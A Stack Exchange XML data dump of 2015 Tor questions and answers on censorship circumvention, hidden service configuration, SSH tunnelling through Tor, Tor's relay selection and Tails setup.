  <row Id="7569" PostTypeId="2" ParentId="7566" CreationDate="2015-08-31T09:51:21.150" Score="1" Body="&lt;p&gt;I spent a month in China earlier this year. (It was for pleasure, not business.) It was an interesting (read: frustrating) experience from the perspective of access to the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't actually use Tor while I was there, so my answer doesn't include any details about bridges, pluggable transports, or other proposed methods for getting around the Firewall. I'll let other members of the group flesh things out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In response to your questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Probably. But if they were publicly advertised then the Chinese authorities would also know about them. Even if you thought you had found a safe mirror, and could access it either directly or via a VPN, you would have to be very careful about guaranteeing its authenticity and ownership. &lt;/li&gt;&#xA;&lt;li&gt;Another option would be to have a friendly party get it to you somehow. (Via email over a VPN... ?) Again, the catch is that you'd need to ensure authenticity of the binaries - by checking a signature/hash/etc. - in case your mail/VPN/friend is compromised.&lt;/li&gt;&#xA;&lt;li&gt;During my short time there, I think I managed to get through 3 different VPNs, with each becoming inoperative after a certain amount of time. I didn't use any of the paid services I know exist. (I refuse to &lt;em&gt;pay&lt;/em&gt; for a compromised VPN service presumably owned by the authorities!) My technique for finding a new, working VPN each time was to ask someone. I was lucky enough to be staying in areas where there were either other travellers, or students. Asking someone over a beer seemed to be a lot less hassle than scouring forums full of out-of-date information. However, with all of this, I had no idea who controlled or owned the VPNs, so my browsing habits were strictly limited to things like checking email, Facebook, news at home, etc. (i.e. Reintroducing the convenience at the potential cost of being watched.)&lt;/li&gt;&#xA;&lt;li&gt;With regards to how China is blocking things, have a read of this post on the Tor Blog: &lt;a href=&quot;https://blog.torproject.org/blog/closer-look-great-firewall-china&quot; rel=&quot;nofollow&quot;&gt;https://blog.torproject.org/blog/closer-look-great-firewall-china&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Again, I'll let other users comment (speculate?) on how best to circumvent the blocks.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-08-31T09:51:21.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7570" PostTypeId="2" ParentId="7305" CreationDate="2015-08-31T17:29:33.917" Score="1" Body="&lt;p&gt;Once you have your private key, you should put it in your hidden service dir. There is a file in there named &quot;private_key&quot;. This is the file you replace with the new key.&lt;br&gt;&#xA;I'm not sure if it's necessary, but I would also delete the &quot;hostname&quot; file. A new one should get generated.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-08-31T17:29:33.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7573" PostTypeId="2" ParentId="7564" CreationDate="2015-09-01T08:47:27.747" Score="2" Body="&lt;p&gt;Download and run tor.exe. Open Mozilla Firefox and under network settings, configure proxy and port as 127.0.0.1 and 9050 respectively. But it is recommended to use TBB to remain completely anonymous&lt;/p&gt;&#xA;" OwnerUserId="1384" LastEditorUserId="1384" LastEditDate="2015-09-17T01:39:04.037" LastActivityDate="2015-09-17T01:39:04.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7574" PostTypeId="1" CreationDate="2015-09-01T09:34:56.663" Score="3" ViewCount="186" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6VWRz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6VWRz.png&quot; alt=&quot;is not working &quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01/09/2015 10:17:55 ص.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;01/09/2015 10:17:57 ص.400 [NOTICE] Opening Socks listener on 127.0.0.1:9050 &#xA;01/09/2015 10:18:04 ص.900 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;01/09/2015 10:18:05 ص.300 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;01/09/2015 10:18:06 ص.200 [WARN] Proxy Client: unable to connect to 109.105.109.163:38980 (&quot;general SOCKS server failure&quot;) &#xA;01/09/2015 10:18:06 ص.200 [WARN] Proxy Client: unable to connect to 109.105.109.163:47779 (&quot;general SOCKS server failure&quot;) &#xA;01/09/2015 10:18:16 ص.500 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;01/09/2015 10:18:19 ص.600 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;01/09/2015 10:18:22 ص.000 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;01/09/2015 10:21:40 ص.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9050 &#xA;01/09/2015 10:21:40 ص.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;01/09/2015 10:21:40 ص.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9050 &#xA;01/09/2015 10:21:40 ص.100 [WARN] We were supposed to connect to bridge 'xx.xx.xx.xx:xxxx' using pluggable transport 'obfs3', but we can't find a pluggable transport proxy supporting 'obfs3'. This can happen if you haven't provided a ClientTransportPlugin line, or if your pluggable transport proxy stopped running. &#xA;01/09/2015 10:21:40 ص.100 [WARN] Problem bootstrapping. Stuck at 25%: Loading networkstatus consensus. (Can't connect to bridge; PT_MISSING; count 2; recommendation warn; host xxxxxxxxxxx at xx.xx.xx.x:xxxx) &#xA;01/09/2015 10:21:40 ص.100 [WARN] 3 connections have failed: &#xA;01/09/2015 10:21:40 ص.100 [WARN]  2 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;01/09/2015 10:21:40 ص.100 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;01/09/2015 10:21:41 ص.600 [NOTICE] Ignoring directory request, since no bridge nodes are available yet. &#xA;01/09/2015 10:21:41 ص.600 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8269" LastEditorUserId="1730" LastEditDate="2015-09-03T17:52:03.520" LastActivityDate="2015-09-03T17:52:03.520" Title="tor is not working" Tags="|tor-browser-bundle|configuration|exit-relays|" AnswerCount="0" CommentCount="2" ClosedDate="2016-04-29T17:58:23.723" ContentLicense="CC BY-SA 3.0" />
  <row Id="7575" PostTypeId="1" CreationDate="2015-09-01T09:43:06.360" Score="2" ViewCount="242" Body="&lt;p&gt;If I run a hidden service on a computer that has a public ip adress and ssh into it, could I connect to the regular internet or all my outbound connections can just be into the tor network ?&lt;/p&gt;&#xA;" OwnerUserId="8270" LastActivityDate="2016-04-29T14:04:47.467" Title="Could hidden service connect to regular internet ?" Tags="|onion-services|ssh|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7576" PostTypeId="1" AcceptedAnswerId="7580" CreationDate="2015-09-01T09:54:24.213" Score="1" ViewCount="239" Body="&lt;p&gt;There are several questions here, 1) maybe I should chop the Question to pieces? All four questions marked with numbers as before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am considering to host file server for a company in tor. The idea is to use ownCloud to store confidential information. The address will be given only to the few trusted employees. 2) What worries me is wether the address of my hidden service can be discovered through HS-directory? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being a sceptic, I wanted to try it myself. I didn't find a ready tool, so I started to examine Stem package. I was able to get the fingerprint of the public key of a random server, but not the public key itself. The fingerprint did not give reasonable address when encoded to base32 and concatenated to 16 chars. Then I read that address is not just a hash of the public key.  3) Apparently information &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/HiddenServiceNames&quot; rel=&quot;nofollow&quot;&gt;at tor project site&lt;/a&gt; is outdated?  4) Could I calculate .onion domain address from a fingerprint or other information I receive from descriptor?&lt;/p&gt;&#xA;" OwnerUserId="8268" LastEditorUserId="8268" LastEditDate="2015-09-01T15:02:11.230" LastActivityDate="2015-09-01T17:45:52.023" Title="Finding hidden services" Tags="|stem|address|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7577" PostTypeId="2" ParentId="2002" CreationDate="2015-09-01T11:21:58.390" Score="3" Body="&lt;p&gt;Try going to the Firefox options menu and configuring Tor as a proxy. This will mean that you have to start Tor in the background but I did it with Chrome and it worked fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Menu &gt; Options &gt; Advanced &gt; Network &gt; Connection &gt; Manual Proxy Configuration:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SOCKS Host is 'localhost' or '127.0.0.1' and port is 9150.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure 'Remote DNS' is ticked&lt;/p&gt;&#xA;" OwnerUserId="8271" LastActivityDate="2015-09-01T11:21:58.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7578" PostTypeId="2" ParentId="7575" CreationDate="2015-09-01T14:06:34.863" Score="2" Body="&lt;p&gt;A hidden service does not route all the other traffic on the computer through tor. To do that you need &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;nofollow&quot;&gt;transparent proxying&lt;/a&gt; on the server.&#xA;So - if you set up a server with tor, create a regular hidden service on port 80, then ssh into it through public IP then do any web requests and such on the server then it will be routed through the regular Internet connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the traffic to\from the tor hidden service port is routed through tor if configured properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also - keep in mind that if the port 80 is bound to anything else then 'localhost' then the hidden web service could be reached through the public ip on the server.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-09-01T14:06:34.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7579" PostTypeId="1" CreationDate="2015-09-01T15:54:48.603" Score="4" ViewCount="432" Body="&lt;p&gt;In Tor, I heard that traffic is passed through 3 servers in the network before it reaches the destination, and it's encrypted between those 3 servers, and that those 3 computers are chosen randomly. Considering the fact that true randomness is not possible in programming and computers, how does random picking work on the Tor network?&lt;/p&gt;&#xA;" OwnerUserId="8253" LastEditorUserId="71" LastEditDate="2015-09-07T10:44:26.677" LastActivityDate="2015-09-07T10:44:26.677" Title="How random connections are taken care of in Tor network?" Tags="|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7580" PostTypeId="2" ParentId="7576" CreationDate="2015-09-01T17:45:52.023" Score="1" Body="&lt;p&gt;your site onion address could be captured by relays on the TOR network, if you want to make it confidential, you should consider making the hidden service &quot;invitation only&quot; or &quot;password protected&quot;&lt;/p&gt;&#xA;" OwnerUserId="8253" LastActivityDate="2015-09-01T17:45:52.023" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7581" PostTypeId="1" CreationDate="2015-09-01T20:50:40.720" Score="0" ViewCount="453" Body="&lt;p&gt;I downloaded Tails and burned a CD through Disk Utility and successfully booted the CD on my computer. I wasn't knowingly connected to internet (wire unplugged and my router wifi button is always off) but I could see my neighbors' wifi networks. Is that normal? I didn't click on them  (I haven't used wifi in a long time, like years).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the default Pidgin user id login example was a name similar to someone I know. Should I be worried? I got freaked out and thought maybe this was a man in the middle attack and shut down and shredded the CD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am overwhelmed with seeing all this information specific to me.&lt;/p&gt;&#xA;" OwnerUserId="8272" LastEditorUserId="71" LastEditDate="2015-09-07T10:56:31.217" LastActivityDate="2015-09-07T10:56:31.217" Title="Tails 1st time use, I could see neighbors' wifi networks" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7582" PostTypeId="1" CreationDate="2015-09-02T05:14:25.100" Score="4" ViewCount="1677" Body="&lt;p&gt;I am trying to setup SSH tunneling using tor on Ubuntu 14.04&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added the tor repo: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;deb http://mirror.noreply.org/pub/tor lenny main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And installing the following packages: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  - tor&#xA;  - connect-proxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is my .ssh/config&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Host *&#xA;CheckHostIP no&#xA;Compression yes&#xA;Protocol 2&#xA;ProxyCommand connect -4 -S localhost:9050 $(tor-resolve %h localhost:9050) %p&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I try to SSH to a host I seem to get this error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OpenSSH_5.9p1 Debian-5ubuntu1, OpenSSL 1.0.1 14 Mar 2012&#xA;debug1: Reading configuration data /home/adithya/.ssh/config&#xA;debug1: /home/adithya/.ssh/config line 1: Applying options for *&#xA;debug1: Reading configuration data /etc/ssh/ssh_config&#xA;debug1: /etc/ssh/ssh_config line 19: Applying options for *&#xA;debug2: ssh_connect: needpriv 0&#xA;debug1: Executing proxy command: exec connect -4 -S localhost:9050 $(tor-resolve 192.168.0.10 localhost:9050) 22&#xA;debug1: identity file /home/adithya/.ssh/id_rsa type -1&#xA;debug1: identity file /home/adithya/.ssh/id_rsa-cert type -1&#xA;debug1: identity file /home/adithya/.ssh/id_dsa type -1&#xA;debug1: identity file /home/adithya/.ssh/id_dsa-cert type -1&#xA;debug1: identity file /home/adithya/.ssh/id_ecdsa type -1&#xA;debug1: identity file /home/adithya/.ssh/id_ecdsa-cert type -1&#xA;debug1: permanently_drop_suid: 1000&#xA;ERROR: Got error response: 91: 'request rejected or failed'.&#xA;FATAL: failed to begin relaying via SOCKS.&#xA;ssh_exchange_identification: Connection closed by remote host&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can someone please help me trouble shoot this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="8275" LastActivityDate="2016-10-19T16:47:37.097" Title="SSH from tor on ubuntu" Tags="|ubuntu|ssh|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7584" PostTypeId="1" AcceptedAnswerId="7585" CreationDate="2015-09-02T15:05:44.277" Score="1" ViewCount="1922" Body="&lt;p&gt;So, let's say that I got interested in keeping myself anonymous a little to late. But I installed Tor and have some questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use two web browsers - Tor Browser and Chrome/Firefox - can my activity in Tor Browser be connected with my activity in Chrome/Firefox? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that there's a bunch of information on me as I have a Google account connected to the browser, the phone so they have EVERYTHING on me. But I'm interested if my activity in the two browser can be connected?&lt;/p&gt;&#xA;" OwnerUserId="8277" LastEditorUserId="5445" LastEditDate="2015-09-20T10:24:43.007" LastActivityDate="2015-11-07T16:14:58.780" Title="Using Tor browser and Chrome/Firefox simultaneously" Tags="|anonymity|firefox|chrome|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7585" PostTypeId="2" ParentId="7584" CreationDate="2015-09-02T15:39:13.853" Score="0" Body="&lt;p&gt;You can use both a browser with a direct connection to the internet and a Tor enabled browser and still have your anonymity protected. These two browser doesn't care about each others existence and stores their configuration files and settings at different places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are &lt;a href=&quot;https://security.stackexchange.com/questions/38316/tor-and-regular-browser-side-by-side-does-that-make-sense&quot;&gt;risks&lt;/a&gt; though, especially with the QUANTUMCOOKIES and timing-based attacks, you might be putting yourself at risk.&lt;/p&gt;&#xA;" OwnerUserId="8197" LastEditorUserId="-1" LastEditDate="2017-03-17T13:14:45.153" LastActivityDate="2015-09-02T15:39:13.853" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7586" PostTypeId="2" ParentId="7581" CreationDate="2015-09-02T16:43:41.180" Score="1" Body="&lt;p&gt;When you were burning the CD, and it said it was verified, all it did was check that the image had been burnt correctly. This happens whenever you burn a CD/DVD, regardless of what's being burnt to it. (See &lt;a href=&quot;https://superuser.com/questions/742554/what-does-verify-disc-after-burning-actually-do-to-verify-the-data&quot;&gt;here&lt;/a&gt; for details of what this verification actually does.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has nothing to do with checking the authenticity of the Tails image, which you'd need to use &lt;a href=&quot;https://tails.boum.org/download/index.en.html#index3h1&quot; rel=&quot;nofollow noreferrer&quot;&gt;these&lt;/a&gt; instructions to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm suspecting Tails starts up with wireless &quot;on&quot; by default, given that one of its main uses is to connect to the internet anonymously. (Someone else can confirm this - I run Tails in a VM, so I don't use wireless natively.) Your router's wireless being off has no effect here - it's the wireless adaptor in your laptop/PC that can see your neighbour's networks, not your router.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default Pidgin ID on my Tails installation is &lt;code&gt;cyranne&lt;/code&gt;. Googling this would seem to suggest it's quite an uncommon name, so it's possible it's actually an acronym or something generated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't sound like there's too much to worry about. However, to put your mind at rest, I'd recommend verifying the authenticity of your Tails download.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-03-20T10:18:02.923" LastActivityDate="2015-09-02T16:43:41.180" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7588" PostTypeId="2" ParentId="7579" CreationDate="2015-09-02T19:33:49.390" Score="2" Body="&lt;p&gt;Originally, it used to be &lt;em&gt;random&lt;/em&gt;. But as the popularity increased, it became necessary to attempt to balance Tor’s traffic load over the available router bandwidth. These days it is not &lt;em&gt;just&lt;/em&gt; random.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now a days, Tor utilizes a set of trusted Bandwidth Authorities(&lt;a href=&quot;http://Tor%20currently%20utilizes%20a%20set%20of%20trusted%20Bandwidth%20Authorities%20which%20are%20responsible%20for%20actively%20probing%20the%20Tor%20routers%20and%20estimating%20each%20router%E2%80%99s%20capacity&quot; rel=&quot;nofollow noreferrer&quot;&gt;bwauths&lt;/a&gt;) which actively probs the Tor routers and estimate each router’s capacity. According to this Tor performs load balancing by weighting router selection in proportion to each router’s perceived bandwidth capacity (This is a primary reason why, when you set up a non-exit Tor relay, there is really a 'no use'(the unmeasured phase) period for about 3 days). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are additional checks as well, including the use of 'entry guards' for the first hop to defend against any attack and exit policies that specify the destination addresses and ports allowed by an exit router’s  operator, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor starts the circuit build by first selecting exit node. Through the configurations in the &lt;code&gt;torrc&lt;/code&gt; file, users themselves have some control over which nodes (not) to choose. Next, Entry and middle relay is chosen. Here, in general, Tor tries not to choose relays which might belong to the same operator. In general, all paths generated by Tor obey the following constraints:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Tor do not choose the same router twice for the same path.&lt;/li&gt;&#xA;  &lt;li&gt;Tor do not choose any router in the same family as another in the same path. (Two routers are in the same family if each one lists the&#xA;  other in the &quot;family&quot; entries of its descriptor.)&lt;/li&gt;&#xA;  &lt;li&gt;Tor do not choose more than one router in a given /16 subnet.&lt;/li&gt;&#xA;  &lt;li&gt;Tor don't choose any non-running or non-valid router unless Tor has been configured to do so. By default, Tor is configured to allow&#xA;  non-valid routers in &quot;middle&quot; and &quot;rendezvous&quot; positions.&lt;/li&gt;&#xA;  &lt;li&gt;The first node must be a Guard node.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is a lot more information in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/plain/path-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor path specification document&lt;/a&gt; and &lt;a href=&quot;https://tor.stackexchange.com/questions/113/how-does-a-tor-client-pick-tor-nodes-for-circuit-creation&quot;&gt;How does a Tor client pick Tor nodes for circuit creation?&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="8197" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-09-02T19:33:49.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7589" PostTypeId="2" ParentId="7582" CreationDate="2015-09-02T19:50:13.837" Score="2" Body="&lt;p&gt;I tend to use &lt;code&gt;socat&lt;/code&gt; instead of &lt;code&gt;connect&lt;/code&gt;, using the following &lt;code&gt;ProxyCommand&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ProxyCommand socat STDIO SOCKS4A:localhost:%h:%p,socksport=9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;No need to use tor-resolve, as, quoting the man page, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In the command string, any occurrence of '%h' will be substituted by the &#xA;  host name to connect, '%p' by the port, and '%r' by the remote user name.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And I've verified that it indeed passes the name, as this works even when the &lt;code&gt;HostName&lt;/code&gt; (not the &lt;code&gt;Host&lt;/code&gt;) is a tor hidden service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, please note that I'm mainly using Gentoo, but I remember setting up this this command on Ubuntu, somewhere in 12.* (I don't have access to that machine any more).&lt;/p&gt;&#xA;" OwnerUserId="7768" LastActivityDate="2015-09-02T19:50:13.837" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7590" PostTypeId="1" CreationDate="2015-09-02T22:11:05.630" Score="0" ViewCount="2564" Body="&lt;p&gt;The list of Tor exit nodes is known (the NSA, Google, ect...) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many more Hola users (48M last I checked), and so many more exit points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, ideally, I'd like to point my Tor browser to a Hola exit point, and then browse the internet from there.  Anybody watching the traffic will not know that I am using Tor based on the Hola exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Hola works with Firefox (and Tor is a version of firefox) I suspect there should be a way to make this work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware that, officially, the new versions of Firefox (v40 currently) do not support Hola (the addin seems to be removed from the addin store) but if you click the &quot;settings&quot; item from the Hola taskbar icon, it launches a version of Firefox (3v8) with Hola, that works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how can I do something similar with Tor?&lt;/p&gt;&#xA;" OwnerUserId="8281" LastEditorUserId="5445" LastEditDate="2015-09-17T10:35:12.950" LastActivityDate="2016-08-12T17:40:04.333" Title="How can I make Tor browser use hola VPN" Tags="|tor-browser-bundle|vpn|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7592" PostTypeId="1" CreationDate="2015-09-03T08:48:35.687" Score="1" ViewCount="3215" Body="&lt;p&gt;Is it safe to run Avast with Tor? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently use Avast, but I've understood that Avast, as other anti-virus programs, send and log a lot of data about any browser that is being used. Are there some settings that need to be changed in order to run Avast safely with Tor or are other anti-virus programs considered safer (and if so, which?). How are anti-virus programs in general used with Tor or are they used at all? I could not find anything about this topic at the Tor Project's site. &lt;/p&gt;&#xA;" OwnerUserId="8287" LastActivityDate="2015-09-03T08:48:35.687" Title="Is it safe to run Avast with Tor" Tags="|anonymity|security|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7594" PostTypeId="2" ParentId="4099" CreationDate="2015-09-03T17:20:26.403" Score="0" Body="&lt;p&gt;So after reading this answer by Jens, I looked for and found this &quot;state&quot; file in [...]\TorBrowser\Data\Tor , deleted it and finally got a realy new circuit because the TBB created a new file after restart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was really crucial to me, because the friggin Ukrainian &quot;guard note&quot; it used before drove me nuts, because it was so unbeliviably slow it rendered tor unusable to me.&#xA;And that cannot be the goal of a &quot;security improvement&quot;, since it would eventually drive me to use a normal browser if it had continued for another couple of weeks :o .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So @developers, please don't make this &quot;fix&quot; impossible.&lt;/p&gt;&#xA;" OwnerUserId="8289" LastActivityDate="2015-09-03T17:20:26.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7596" PostTypeId="1" CreationDate="2015-09-03T20:25:21.900" Score="2" ViewCount="222" Body="&lt;p&gt;The TAILS website, in discussing how to guard against man-in-the-middle (MITM), offers the crypto-sig and a link to GnuPG to process it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there was an MITM between me and tails.boum.org, wouldn't they be able to also fake the sig and the GPG site?&lt;/p&gt;&#xA;" OwnerUserId="7011" LastActivityDate="2016-01-14T02:26:45.693" Title="Can TAILS &quot;confidence&quot; suggestions be trusted?" Tags="|tails|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7597" PostTypeId="1" CreationDate="2015-09-04T00:49:50.783" Score="2" ViewCount="712" Body="&lt;p&gt;I tried to start a hidden service on mac with MAMP and tor browser. I added the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /Users/Gary/Desktop/tor_site&#xA;HiddenServicePort 4023 127.0.0.1:4023&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into my &lt;code&gt;torrc&lt;/code&gt; file in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Applications/TorBrowser.app/TorBrowser/Data/Tor/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and whenever it boots up it says&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tor unexpectedly exited. This might be due to a bug in Tor itself, another program on your system, or faulty hardware. Until you restart Tor, the Tor Browser will not able to reach any websites. If the problem persists, please send a copy of your Tor Log to the support team.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and when I click copy log to clipboard it says 0 lines copied. When I comment out the &lt;code&gt;HiddenService&lt;/code&gt; lines it works but everything else, I get that message.&lt;/p&gt;&#xA;" OwnerUserId="8291" LastEditorUserId="5445" LastEditDate="2015-09-20T10:34:18.353" LastActivityDate="2015-09-20T10:34:18.353" Title="Tor unexpectedly exits" Tags="|onion-services|mac|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8597" PostTypeId="2" ParentId="7047" CreationDate="2015-09-04T03:19:20.777" Score="1" Body="&lt;p&gt;Right Click installer&gt;Properties&gt;General&gt;Unblock&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your Vista is anything like mine windows has blocked the installer out of &quot;fears&quot; that it might be unsafe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just had the same problem and facepalmed when I realised it was so simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be your problem or it might not.&lt;/p&gt;&#xA;" OwnerUserId="9292" LastActivityDate="2015-09-04T03:19:20.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8598" PostTypeId="1" CreationDate="2015-09-04T09:11:49.267" Score="5" ViewCount="234" Body="&lt;p&gt;Is there any difference of risk of deanonymization on running thousands of hidden service on the same server than running just a few? Does the quantity of hidden services on a server actually have anything to do with its deanonymization probability?&lt;/p&gt;&#xA;" OwnerUserId="9295" LastEditorUserId="71" LastEditDate="2015-09-07T16:23:19.850" LastActivityDate="2016-03-09T22:26:51.773" Title="Risk of deanonymization running thousands of hidden service on same server" Tags="|onion-services|deanonymization|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8599" PostTypeId="1" CreationDate="2015-09-05T04:29:29.560" Score="9" ViewCount="28333" Body="&lt;p&gt;I put the TAILS ISO on a 32GB USB stick with 'dd'  (Didn't have a smaller one.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;diskutil GUI says the resulting partition is one GB but df in the terminal says it is four GB.  diskutil does show the free space as 32GB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make the free space into a usable (persistent) partition, but if I select format in diskutil, it appears to want to repartition the whole stick--which as I understand, would trash the boot partition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also like that partition to be ExFAT or any other format that both Mac and Windows 7 can read and write.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I proceed?&lt;/p&gt;&#xA;" OwnerUserId="7011" LastActivityDate="2019-08-31T16:50:05.567" Title="TAILS on USB: How to use the rest of the stick" Tags="|configuration|tails|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
